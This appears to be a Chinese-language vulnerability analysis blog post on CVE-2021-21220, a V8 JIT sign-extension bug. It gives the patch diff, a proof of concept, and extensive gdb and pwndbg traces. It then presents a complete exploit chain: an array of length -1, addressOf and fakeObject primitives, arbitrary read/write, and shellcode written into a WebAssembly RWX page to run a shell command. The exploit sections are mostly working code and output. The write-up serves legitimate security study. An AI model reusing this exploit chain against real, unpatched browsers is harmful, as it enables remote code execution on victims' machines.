CVE-2021-21220
fa1lr4in Lv2

V8远程代码执行漏洞

一、漏洞信息

1、漏洞简述

  • 漏洞名称:V8远程代码执行漏洞
  • 漏洞编号:CVE-2021-21220
  • 漏洞类型:JIT优化导致可构造超长数组进行任意地址读写
  • 漏洞影响:远程代码执行
  • CVSS3.0:N/A
  • CVSS2.0:N/A
  • 漏洞危害等级:严重

2、组件和漏洞概述

V8是Google使用C++编写的开源高性能JavaScript和WebAssembly引擎。它被广泛用于用于Chrome和Node.js等场景中。它实现了ECMAScript和WebAssembly功能。V8既可以在Windows 7及以上版本,macOS 10.12+和使用x64,IA-32,ARM或MIPS处理器的Linux等操作系统上运行。也可以独立运行,还可以嵌入到任何C ++应用程序中。

3、相关链接

issue 1196683

4、解决方案

Chrome最新版本已经修复,请用户及时更新至最新版本。

二、漏洞复现

1、环境搭建

安装89.0.4389.90的Chrome浏览器

2、复现过程

1、在Chrome快捷方式->目标后面加上”–no-sandbox”,并使用该快捷方式启动Chrome,用来创建一个关闭沙箱的Chrome进程。

2、将漏洞文件拖入浏览器中执行

image-20210421222934275

三、漏洞分析

1、基本信息

  • 漏洞文件:instruction-selector-x64.cc
  • 漏洞函数:InstructionSelector::VisitChangeInt32ToInt64

2、背景知识

(1) js中array-shift实现。

v8源码版本: V8 version 9.1.0 (candidate)

(1)array-shift.tq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

namespace array {
extern builtin ArrayShift(Context, JSFunction, JSAny, int32): JSAny;

macro TryFastArrayShift(implicit context: Context)(receiver: JSAny): JSAny
labels Slow, Runtime {
const array: FastJSArray = Cast<FastJSArray>(receiver) otherwise Slow;
let witness = NewFastJSArrayWitness(array);

witness.EnsureArrayPushable() otherwise Slow;

if (array.length == 0) {
return Undefined;
}

const newLength = array.length - 1;

// Check that we're not supposed to right-trim the backing store, as
// implemented in elements.cc:ElementsAccessorBase::SetLengthImpl.
if ((newLength + newLength + kMinAddedElementsCapacity) <
array.elements.length) {
goto Runtime;
}

// Check that we're not supposed to left-trim the backing store, as
// implemented in elements.cc:FastElementsAccessor::MoveElements.
if (newLength > kMaxCopyElements) goto Runtime;

const result = witness.LoadElementOrUndefined(0);
witness.ChangeLength(newLength);
witness.MoveElements(0, 1, Convert<intptr>(newLength));
witness.StoreHole(newLength);
return result;
}

transitioning macro GenericArrayShift(implicit context: Context)(
receiver: JSAny): JSAny {
// 1. Let O be ? ToObject(this value).
const object: JSReceiver = ToObject_Inline(context, receiver);

// 2. Let len be ? ToLength(? Get(O, "length")).
const length: Number = GetLengthProperty(object);

// 3. If len is zero, then
if (length == 0) {
// a. Perform ? Set(O, "length", 0, true).
SetProperty(object, kLengthString, Convert<Smi>(0));
// b. Return undefined.
return Undefined;
}

// 4. Let first be ? Get(O, "0").
const first = GetProperty(object, Convert<Smi>(0));
// 5. Let k be 1.
let k: Number = 1;
// 6. Repeat, while k < len
while (k < length) {
// a. Let from be ! ToString(k).
const from: Number = k;

// b. Let to be ! ToString(k - 1).
const to: Number = k - 1;

// c. Let fromPresent be ? HasProperty(O, from).
const fromPresent: Boolean = HasProperty(object, from);

// d. If fromPresent is true, then
if (fromPresent == True) {
// i. Let fromVal be ? Get(O, from).
const fromValue: JSAny = GetProperty(object, from);

// ii. Perform ? Set(O, to, fromValue, true).
SetProperty(object, to, fromValue);
} else {
// i. Perform ? DeletePropertyOrThrow(O, to).
DeleteProperty(object, to, LanguageMode::kStrict);
}

// f. Increase k by 1.
k++;
}

// 7. Perform ? DeletePropertyOrThrow(O, ! ToString(len - 1)).
DeleteProperty(object, length - 1, LanguageMode::kStrict);

// 8. Perform ? Set(O, "length", len - 1, true).
SetProperty(object, kLengthString, length - 1);

// 9. Return first.
return first;
}

// https://tc39.github.io/ecma262/#sec-array.prototype.shift
transitioning javascript builtin ArrayPrototypeShift(
js-implicit context: NativeContext, receiver: JSAny)(...arguments): JSAny {
try {
return TryFastArrayShift(receiver) otherwise Slow, Runtime;
} label Slow {
return GenericArrayShift(receiver);
} label Runtime {
tail ArrayShift(
context, LoadTargetFromFrame(), Undefined,
Convert<int32>(arguments.length));
}
}
}

shift函数首先会判断数组的长度是否为0,如果为0,则不会对该数组进行修改;如果不为0,则会将最前面的数组元素pop,之后对数组长度减一。当然这里会有是否进行快速shift的选择[7],由于不管是否进行快速shift都不会影响这个操作结果,所以具体快速shift如何对速度进行优化不在我们的考虑范围内。

(2)smi

smi在js中为小整数,详见[5],链接中讲述了v8中不同数据类型的实现。

smi类型中的-1,0,1在内存中的表示如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> job 0x3c6c0808846d
0x3c6c0808846d: [JSArray]
- map: 0x3c6c08243951 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3c6c0820b959 <JSArray[0]>
- elements: 0x3c6c082123e1 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x3c6c0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3c6c080446c1: [String] in ReadOnlySpace: #length: 0x3c6c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3c6c082123e1 <FixedArray[3]> {
0: -1
1: 0
2: 1
}
pwndbg> telescope 0x3c6c082123e0
00:0000│ 0x3c6c082123e0 ◂— 0x608042531
01:0008│ 0x3c6c082123e8 ◂— 0xfffffffe
02:0010│ 0x3c6c082123f0 ◂— 0x80431b900000002
03:0018│ 0x3c6c082123f8 ◂— 0x82123e100000000
04:0020│ 0x3c6c08212400 ◂— 0x8042509
05:0028│ 0x3c6c08212408 ◂— 0x608042205
06:0030│ 0x3c6c08212410 ◂— 0x82123f5082123d5
07:0038│ 0x3c6c08212418 ◂— 0x8042a1d08212345

可以看出-1在smi中表示为0xfffffffe,而0xfffffffe在十六进制有符号表示为-2,这块需要注意。

(3)常见数据结构

浮点型数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> job 0x56008144335
0x56008144335: [JSArray]
- map: 0x0560082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x05600820b959 <JSArray[0]>
- elements: 0x056008144315 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x05600804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x560080446c1: [String] in ReadOnlySpace: #length: 0x05600818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x056008144315 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
pwndbg> x/20wx 0x56008144335-1
0x56008144334: 0x082439f1 0x0804222d 0x08144315 0x00000006
0x56008144344: 0x080455b9 0x08212999 0x08042205 0x00000004
0x56008144354: 0x081442fd 0x08144335 0x08243a41 0x0804222d
0x56008144364: 0x0814434d 0x00000004 0x080455b9 0x082129c5
0x56008144374: 0x08042a95 0x00000002 0x00000000 0x41e00000
pwndbg> telescope 0x056008144314
00:0000│ 0x56008144314 ◂— 0x608042a95
01:0008│ 0x5600814431c ◂— 0x3ff199999999999a
02:0010│ 0x56008144324 ◂— 0x3ff3333333333333
03:0018│ 0x5600814432c ◂— 0x3ff4cccccccccccd
04:0020│ 0x56008144334 ◂— 0x804222d082439f1
05:0028│ 0x5600814433c ◂— 0x608144315
06:0030│ 0x56008144344 ◂— 0x8212999080455b9
07:0038│ 0x5600814434c ◂— 0x408042205

根据上面的内存可以看出,浮点数的属性值是按照四字节存储的,elements在0x8的偏移,0xc的位置上存放length。elements对象的第一个元素的偏移为0x8。

“smi数组”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DebugPrint: 0x367b082a9c29: [JSArray]
- map: 0x367b082439c9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x367b0820b959 <JSArray[0]>
- elements: 0x367b082a9c1d <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS]
- length: -1
- properties: 0x367b0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x367b080446c1: [String] in ReadOnlySpace: #length: 0x367b0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x367b082a9c1d <FixedArray[67244566]> {
0: 0x367b0804242d <the_hole>
1: 0x367b082439c9 <Map(HOLEY_SMI_ELEMENTS)>
2: 0x367b0804222d <FixedArray[0]>
3: 0x367b082a9c1d <FixedArray[67244566]>
4: -1
5: 0x367b08042a95 <Map>
6: 3
7: -858993459
...
pwndbg> x/12wx 0x367b082a9c1d-1
0x367b082a9c1c: 0x08042205 0x0804242d 0x0804242d 0x082439c9
0x367b082a9c2c: 0x0804222d 0x082a9c1d 0xfffffffe 0x08042a95
0x367b082a9c3c: 0x00000006 0x9999999a 0x3ff19999 0x33333333
pwndbg> x/8wx 0x367b082a9c29-1
0x367b082a9c28: 0x082439c9 0x0804222d 0x082a9c1d 0xfffffffe
0x367b082a9c38: 0x08042a95 0x00000006 0x9999999a 0x3ff19999

这是个伪smi数组,是由于本漏洞构造的超长数组的现场。

根据上面的内存可以看出,浮点数的属性值是按照四字节存储的,elements在0x8的偏移,0xc的位置上存放length。elements对象的第一个元素的偏移为0x8。(和上面的浮点型数组内存构造是相同的)

在本漏洞利用中,可以通过相对地址写覆盖浮点型数组的长度伪超长,使浮点型数组也具有相对地址读写的能力。

(4)指针压缩

参考[89]。64位v8程序中,堆指针高32位地址值是相同的,可以看下面某次v8的调试信息,高32位的的地址值为0xdf2,这个信息存储在寄存器R13位置处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xdf200000000 0xdf20000d000 rw-p d000 0
0xdf20000d000 0xdf200040000 ---p 33000 0
0xdf200040000 0xdf200170000 r-xp 130000 0
0xdf200170000 0xdf200180000 ---p 10000 0
0xdf200180000 0xdf200183000 rw-p 3000 0
0xdf200183000 0xdf200184000 ---p 1000 0
0xdf200184000 0xdf200194000 r-xp 10000 0
0xdf200194000 0xdf2001bf000 ---p 2b000 0
0xdf2001bf000 0xdf2001c0000 ---p 1000 0
0xdf2001c0000 0xdf2001c3000 rw-p 3000 0
0xdf2001c3000 0xdf2001c4000 ---p 1000 0
0xdf2001c4000 0xdf2001ff000 r-xp 3b000 0
0xdf2001ff000 0xdf208040000 ---p 7e41000 0
0xdf208040000 0xdf208061000 r--p 21000 0
0xdf208061000 0xdf208080000 ---p 1f000 0
0xdf208080000 0xdf20818d000 rw-p 10d000 0
0xdf20818d000 0xdf2081c0000 ---p 33000 0
0xdf2081c0000 0xdf2081c3000 rw-p 3000 0
0xdf2081c3000 0xdf208200000 ---p 3d000 0
0xdf208200000 0xdf2083c0000 rw-p 1c0000 0
0xdf2083c0000 0xdf300000000 ---p f7c40000 0
0x55fe3a44c000 0x55fe3ac71000 r--p 825000 0 /root/v8/v8/out/x64.release/d8
0x55fe3ac71000 0x55fe3ba48000 r-xp dd7000 824000 /root/v8/v8/out/x64.release/d8
0x55fe3ba48000 0x55fe3bab5000 r--p 6d000 15fa000 /root/v8/v8/out/x64.release/d8
0x55fe3bab5000 0x55fe3bac4000 rw-p f000 1666000 /root/v8/v8/out/x64.release/d8
...
RAX 0x0
RBX 0xdf200000000 —▸ 0x7fffaaa90cf8 ◂— 0xdf200000000
RCX 0xdf20013f500 ◂— push rbp
RDX 0xdf200000000 —▸ 0x7fffaaa90cf8 ◂— 0xdf200000000
RDI 0x0
RSI 0x7fffaaa8fd00 —▸ 0xdf208042895 ◂— 0x80428
R8 0xdf20821289d ◂— 0x7500000006082442
R9 0x145
R10 0xc00000000
R11 0xfffffffffffffffa
R12 0x55fe3c799170 ◂— 0x0
R13 0xdf200000000 —▸ 0x7fffaaa90cf8 ◂— 0xdf200000000
R14 0x55fe3ba73160 (v8::internal::kIntrinsicFunctions) ◂— 0x0
R15 0x55fe3c7975e0 ◂— 0x1baddead0baddeaf
RBP 0x7fffaaa8fc20 —▸ 0x7fffaaa8fc50 —▸ 0x7fffaaa8fc78 —▸ 0x7fffaaa8fc98 —▸ 0x7fffaaa8fd30 ◂— ...
RSP 0x7fffaaa8fc20 —▸ 0x7fffaaa8fc50 —▸ 0x7fffaaa8fc78 —▸ 0x7fffaaa8fc98 —▸ 0x7fffaaa8fd30 ◂— ...
RIP 0x55fe3b8ca445 (v8::base::OS::DebugBreak()+5) ◂— pop rbp

现代CPU中的分支预测器非常好,并且代码大小(尤其是执行路径长度)对性能的影响更大。

具体的实现可以参考

1
2
v8 / src / common / ptr-compr.h
v8 / src / common / ptr-compr-inl.h

3、补丁对比

根据issue里面的补丁比较链接

https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1381

image-20210422093925521

可以看出该bugfix的函数为ChangeInt32ToInt64,将32位整形数向64位进行拓展,修复之前的代码为判断传入的32位整型数是否为有符号从而选择movsx和mov,而修复后强制使用movsx进行有符号拓展。

4、漏洞分析

(1)POC分析

POC与执行结果如下。

1
2
3
4
5
6
7
8
9
print = console.log;
const arr = new Uint32Array([2**31]); // 定义了一个只有一个元素的Uint32类型的数组
function foo() {
return (arr[0] ^ 0) + 1; // 漏洞触发
}
print(foo());//-2147483647 // 解释器工作
for(let i=0;i<100000;i++) //代码价值提升,交由JIT处理
foo();
print(foo());//2147483649 //JIT处理后的结果
1
2
3
root@ubuntu:~/v8/v8/out/x64.release# ./d8 test_jscode/d8_poc.js
-2147483647
2147483649

我们对POC进行分析,首先分析arr数组元素

arr[0]是unsigned int32 = 2**31 = 2147483648 = 0x8000 0000

arr[0] ^ 0会转成signed int32 = 2**31^0 = 0x8000 0000 = -2147483648,至于为什么无符号操作数与0异或变为有符号,参考[4]。

image-20210422212700225

(arr[0] ^ 0) + 1会转成signed int64,按理说是先符号拓展,得到0xFFFF FFFF 8000 0000,然后再加一,得到0xFFFF FFFF 8000 0001 = -2147483647

之后会解释器执行打印函数返回值以及JIT编译执行打印函数返回值

可以看到,在经过JIT优化前与优化后,foo的返回值是不相同的;这个从上面的补丁分析中我们也已经了解了,JIT在处理代码的时候将本该有符号拓展的数进行了无符号拓展。

(2)执行流分析

SimplifiedLowering

在该阶段,通过#45 LoadTypedElement可以知道arr[0]的类型 Unsigned32,之后#31 Word32Xor处理之后类型为Signed32,之后+1需要做int32到int64的转换,调用了#58 ChangeInt32ToInt64,并将返回值与#59 Int64Constant[1]作为参数交由#50 ChangeInt32ToInt64处理。这段处理逻辑是没有问题的。

image-20210422210705763

MachineOperatorOptimization

而在该阶段,将arr[0] ^ 0通过JIT在#81 Load处获取运算所得的结果,此时该结果的类型为kRepWord32[kTypeUint32],为无符号,此时仍然经过#58 ChangeInt32ToInt64进行处理。

image-20210422214123570

而ChangeInt32ToInt64的处理如下

1
2
3
4
...
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
...

由于操作数时无符号,所以这里进行了无符号拓展,此时(arr[0] ^ 0) + 1的值为0 x 0000 0000 8000 0000 + 1,为2147483649。

(3)动态验证

通过gdb验证下我们上述分析的过程,动态分析的思路为通过%DebugPrint输出得到arr元素的内存地址,然后下内存读断点,追踪到JIT处理foo函数的位置。

定位流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@ubuntu:~/v8/v8/out/x64.release# gdb d8
...
pwndbg> set args --allow-natives-syntax test_jscode/d8_poc.js
pwndbg> r
...
-2147483647
DebugPrint: 0x4e60808851d: [JSTypedArray]
- map: 0x04e608243109 <Map(UINT32ELEMENTS)> [FastProperties]
- prototype: 0x04e608209815 <Object map = 0x4e608243131>
- elements: 0x04e608088511 <ByteArray[4]> [UINT32ELEMENTS]
- embedder fields: 2
- buffer: 0x04e6080884d9 <ArrayBuffer map = 0x4e6082431f9>
- byte_offset: 0
- byte_length: 4
- length: 1
- data_ptr: 0x4e608088518
- base_pointer: 0x8088511
- external_pointer: 0x4e600000007
- properties: 0x04e60804222d <FixedArray[0]>
- All own properties (excluding elements): {}
- elements: 0x04e608088511 <ByteArray[4]> {
0: 2147483648
}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
0x4e608243109: [Map]
- type: JS_TYPED_ARRAY_TYPE
- instance size: 68
- inobject properties: 0
- elements kind: UINT32ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x04e6080423b5 <undefined>
- prototype_validity cell: 0x04e608182405 <Cell value= 1>
- instance descriptors (own) #0: 0x04e6080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x04e608209815 <Object map = 0x4e608243131>
- constructor: 0x04e60820979d <JSFunction Uint32Array (sfi = 0x4e608189721)>
- dependent code: 0x04e608212aed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
...
pwndbg> x/wx 0x04e608088511-1+8
0x4e608088518: 0x80000000
pwndbg> rwatch *(int*)0x04e608088518
Hardware read watchpoint 1: *(int*)0x04e60808851

验证静态分析结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pwndbg> c
Continuing.
Thread 1 "d8" hit Hardware read watchpoint 1: *(int*)0x04e608088518
Value = -2147483648
0x000004e6001c4330 in ?? ()
ERROR: Could not find ELF base!
LEGND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────
RAX 0x0
*RBX 0x4e608212ac9 ◂— 0x8080423b508042a
*RCX 0x80000000
...
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
► 0x4e6001c4330 add rcx, 1
0x4e6001c4334 mov edi, ecx
0x4e6001c4336 movsxd r8, ecx
0x4e6001c4339 cmp r8, rcx
0x4e6001c433c jne 0x4e6001c4394 <0x4e6001c4394>

0x4e6001c4394 movabs rdi, 0x5626663c8c48
0x4e6001c439e mov r8, qword ptr [rdi]
0x4e6001c43a1 lea r9, [r8 + 0xc]
0x4e6001c43a5 mov qword ptr [rbp - 0x20], rcx
0x4e6001c43a9 movabs r11, 0x5626663c8c50
0x4e6001c43b3 cmp qword ptr [r11], r9
...
pwndbg> si
0x000004e6001c4334 in ?? ()
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────
RAX 0x0
RBX 0x4e608212ac9 ◂— 0x8080423b508042a
*RCX 0x80000001
...
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
0x4e6001c4330 add rcx, 1
► 0x4e6001c4334 mov edi, ecx
0x4e6001c4336 movsxd r8, ecx
0x4e6001c4339 cmp r8, rcx
0x4e6001c433c jne 0x4e6001c4394 <0x4e6001c4394>

0x4e6001c4394 movabs rdi, 0x5626663c8c48
0x4e6001c439e mov r8, qword ptr [rdi]
0x4e6001c43a1 lea r9, [r8 + 0xc]
0x4e6001c43a5 mov qword ptr [rbp - 0x20], rcx
0x4e6001c43a9 movabs r11, 0x5626663c8c50
0x4e6001c43b3 cmp qword ptr [r11], r9
...
pwndbg> x/5i 0x4e6001c432b
0x4e6001c432b: add rcx,r8
0x4e6001c432e: mov ecx,DWORD PTR [rcx]
0x4e6001c4330: add rcx,0x1
=> 0x4e6001c4334: mov edi,ecx
0x4e6001c4336: movsxd r8,ecx

观察到在执行完0x4e6001c432e处指令后,RCX 的值为 0x80000000,并没有进行有符号拓展,而执行完0x4e6001c4330后,RCX 的值为 0x80000001,验证了我们得到的结果。

(4)EXP构造

(1)构造超长数组

从ChangeInt32ToInt64到将数组长度设置为-1,需要用到一种针对于JIT常用的利用技术:typer bug[6],简单的理解就是在JavaScript函数的前几次调用期间,解释器记录各种操作的类型信息,例如参数访问和属性加载。如果以后选择该函数进行JIT编译,则V8的最新编译器TurboFan会假定在所有后续调用中都将使用观察到的类型,并使用从解释器中得出的规则集将类型信息传播到JIT。

我们将poc构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0); // predicted = 0; actual = 2
x -= 1; // predicted = -1; actual = 1
if(x==-1) x = 0; // predicted = 0; actual = 1
var arr = new Array(x); // predicted = 0; actual = 1
arr.shift(); // predicted = 0; actual = -1,这里是比较难以理解的部分,之前解释器在处理shift的时候判断x的值为0,正常执行,所以在JIT阶段优化掉了边界检查;而在JIT阶段x==1,此时JIT仍将x的值当作0,由于x实际为1,所以shift将对数组长度做减一操作,再由于此时JIT将x的值当作0,所以最终数组的长度为0-1 == -1,这样构造出了超长的数组,可以进行很高的相对地址读写权限。
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
var x = foo(false);

for(var i=0;i<0x30000;++i)
foo(true);

var x = foo(false);
print(x[0].length);
%DebugPrint(x[0]);
%SystemBreak();

在LoadElimination阶段,可以看到将-1存储到#185 StoreElement,并传递给#184 StoreField 之后继续传递到#192 EffedtPhi,而调用#190 ArrayShift也会经由#192 EffectPhi处理得到的参数。

image-20210428101114540

调试验证结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> r
-1
DebugPrint: 0x351f0833dd31: [JSArray]
- map: 0x351f082439c9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x351f0820b959 <JSArray[0]>
- elements: 0x351f0833dd25 <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS] ;可见构建了超长数组:FixedArray[67244566]
- length: -1
- properties: 0x351f0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x351f080446c1: [String] in ReadOnlySpace: #length: 0x351f0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x351f0833dd25 <FixedArray[67244566]> {
0: 0x351f0804242d <the_hole>
1: 0x351f082439c9 <Map(HOLEY_SMI_ELEMENTS)>
2: 0x351f0804222d <FixedArray[0]>
3: 0x351f0833dd25 <FixedArray[67244566]>
4: -1
5: 0x351f08042a95 <Map>
6: 3
7: -858993459
...
pwndbg> x/10wx 0x351f0833dd24
0x351f0833dd24: 0x08042205 0x0804242d 0x0804242d 0x082439c9
0x351f0833dd34: 0x0804222d 0x0833dd25 0xfffffffe 0x08042a95 ;0xfffffffe为-1,
0x351f0833dd44: 0x00000006 0x9999999
(2)addressOf和fakeObject实现

之后确定arr和cor的偏移,方便通过对arr的相对地址读写进行addressOf和fakeObject的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var arr = x[0];
var cor = x[1];
const idx = 6;
//arr[idx+11] = 0x4242;
arr[idx+10] = 0x2333; //arr[idx+10]位置处存放cor的length属性,在这里可以将cor的长度扩展造成相对地址读写。
function addressOf(k) {
arr[idx+1] = k;
return f2big(cor[0]) & 0xffffffffn; //由于只有Array对象有shift方法,而Array对象的每个元素为四字节,我们只能泄露低四字节的地址(不排除有一些我不清楚的方法可以泄露八字节),而这里的八字节因为前四字节已经被位运算清零了。实际上这里需要的也仅仅是四字节读写的能力,引擎会自动填充前面的基址。
}function fakeObject(k) {
cor[0] = big2f(k);
return arr[idx+1]; //返回的也只是低四字节
}
var test = [1.1,2.2,3.3];
test_addr = addressOf(test);
console.log(test_addr);
%DebugPrint(test);
%SystemBreak();

简单介绍下上述代码,arr[idx+10]为cor的length属性,可以直接修改该值为大于原长度的值,这样cor数组也可以进行越界读写了,cor与arr的区别在于cor的相对读写可以操作八个字节。然后是addressOf与fakeObject原语的构造,在这里,由于arr和cor可以通过不同的索引值访问相同的空间,这样通过不同类型的数组读取出来的值的类型是不一样的(元素靠数组的map来确定类型),这样很容易就可以实现类型混淆。前面确定了cor与arr的内存相对偏移,便可以进行addressOf和fakeObject的实现。

调试来验证结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> r
000000000811d8b9
DebugPrint: 0x19b00811d8b9: [JSArray]
- map: 0x19b0082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x19b00820b959 <JSArray[0]>
- elements: 0x19b00811d8d1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x19b00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x19b0080446c1: [String] in ReadOnlySpace: #length: 0x19b00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x19b00811d8d1 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
(3)任意读写原语实现

相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var float_array_map = f2big(cor[3]);              
var arr2 = [big2f(float_array_map), 1.2, 2.3, 3.4]; //创建伪造对象的数组
var fake = fakeObject(addressOf(arr2) + 0x20n); //通过fakeObject伪造对象
function arbread(addr) {
if (addr % 2n == 0)
addr += 1n;
arr2[1] = big2f((2n << 32n) + addr - 8n); //创建伪造对象的数组,这里arr2[0] == fake_map, arr2[1] == arr2_length+elements_addr;2n << 32n代表arr2的长度。大于等于2即可。
return (fake[0]); //将addr2的内存构造为:前四字节为伪造的对象的长度,后四字节为要读取信息的地址。,fake[0]相当于那个修改任意地址的指针。
}function arbwrite(addr, val) {
if (addr % 2n == 0)
addr += 1n;
arr2[1] = big2f((2n << 32n) + addr - 8n);
fake[0] = big2f(BigInt(val));
}

具体相关的点都已经在代码注释中标注出来了,唯一需要注意的可能就是arr2[1]和fake[0]的换算关系如何得出,这个可以通过下面的内存状态尝试理解并编写相应的原语。

1
2
3
4
5
6
7
8
00:0000│  0x1fa7082aaea0 ◂— 0x804222d082439f1				; arr_map
01:0008│ 0x1fa7082aaea8 ◂— 0x8082aaeb9 ; arr_length + arr_elements_addr
02:0010│ 0x1fa7082aaeb0 ◂— 0x8213bc5080455b9
03:0018│ 0x1fa7082aaeb8 ◂— 0x808042a95 ; arr_elements_map
04:0020│ 0x1fa7082aaec0 ◂— 0x804222d082439f1 ;fake_map arr2[0]
05:0028│ 0x1fa7082aaec8 ◂— 0x3ff3333333333333 ;fake_length + fake_element_addr arr2[1]
06:0030│ 0x1fa7082aaed0 ◂— 0x4002666666666666
07:0038│ 0x1fa7082aaed8 ◂— 0x400b333333333333 ('333333\x0b@')

个人对上述的推理过程如下:

[0x28] == (2n << 32n) + addr - 8n

arr2[1] -> [0x0+0x8]+0x8+0x8 -> 0x18+0x8+0x8 -> 0x28

fake[0] -> [0x20+0x8]+0x8 -> (2n << 32n) + addr - 8n+0x8 -> (2n << 32n) + addr

这样就可以通过操作fake[0]来进行任意地址读写。

(4)wasm利用

这里就是因为wasm会生成一块rwx空间,通过向该空间写入shellcode并调用达到命令执行的目的。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//msfvenom -p linux/x64/exec CMD=whoami -f num
let shellcode = [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x07, 0x00, 0x00, 0x00, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05];
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;

let buf2 = new ArrayBuffer(0x150);
function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addressOf(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i]);
}
}
var rwx_page_addr = f2big(arbread(addressOf(wasmInstance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
copy_shellcode(rwx_page_addr, shellcode);
f();

最终复现如下

image-20210427231450948

3、漏洞修复

issue 1196683

四、总结与思考

该漏洞分析是个人的第一个Chrome的真实漏洞分析,所以过程会比较详细,但是详细不意味着面面俱到。我始终相信,二进制漏洞分析真实的调试一定是必不可少的,我想要表达的一些东西都存在于调试信息中了,自然就没有必要进行过多的文字陈述。

